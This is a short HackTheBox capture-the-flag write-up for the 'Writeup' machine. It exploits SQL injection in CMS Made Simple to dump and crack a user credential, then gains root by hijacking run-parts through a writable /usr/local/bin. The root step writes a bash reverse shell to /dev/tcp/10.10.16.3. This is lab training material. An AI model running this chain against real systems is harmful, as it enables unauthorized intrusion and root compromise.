Writeup

CTF	HackTheBox
Category	Writeup
Created	@July 31, 2021 9:07 PM
Date	
Description	
Fields	
Level	Easy
Tags	CVE Path Hijack

Info

Credential

User	Password	Service	Note
jkr	raykayjay9		

HTTP

`/writeup`

- `/modules` shows the installed modules
- `/admin` shows the login prompt
- `/index.php?page=` may be SQL injectable
- `/uploads` exist, but has no content

Path

User

1. Found `/writeup` in `/robots.txt`.
2. In the html of `/writeup/index.php?page=ypuffy`, it shows the CMS is `CMS Made Simple`.
3. Found `/writeup/admin` has the login prompt.
4. Found `/writeup/index.php?page=2` is `/writeup/index.php?page=ypuffy`, so may be SQL Injectable.
5. Use `46635.py` from `searchsploit` to dump the credential of the user `jkr`, then crack it with `hashcat`.

   ```
   [+] Salt for password found: 5a599ef579066807
   [+] Username found: jkr
   [+] Email found: jkr@writeup.htb
   [+] Password found: 62def4866937f08cc13bab43bb14e6f7
   $ hashcat --force -m 20 --username hash.txt /opt/SecLists/Passwords/Leaked-Databases/
   rockyou.txt
   jkr:raykayjay9
   ```

6. The credential obtained can use to login via SSH and get the user flag.

Root

1. Found `/usr/local/bin` is writable for group `staff`, and the user is in the group. So we can hijack binaries.
2. Use `pspy` to find every time user login, `/usr/bin/env run-parts` execute, so hijack it.

   ```
   $ cat << EOF > /usr/local/bin/run-parts
   bash -c "bash -i >& /dev/tcp/10.10.16.3/13337 0>&1"
   EOF
   $ chmod +x /usr/local/bin/run-parts
   ```

3. Then login via SSH from another pane, and get the root reverse shell.
4. Get the root flag.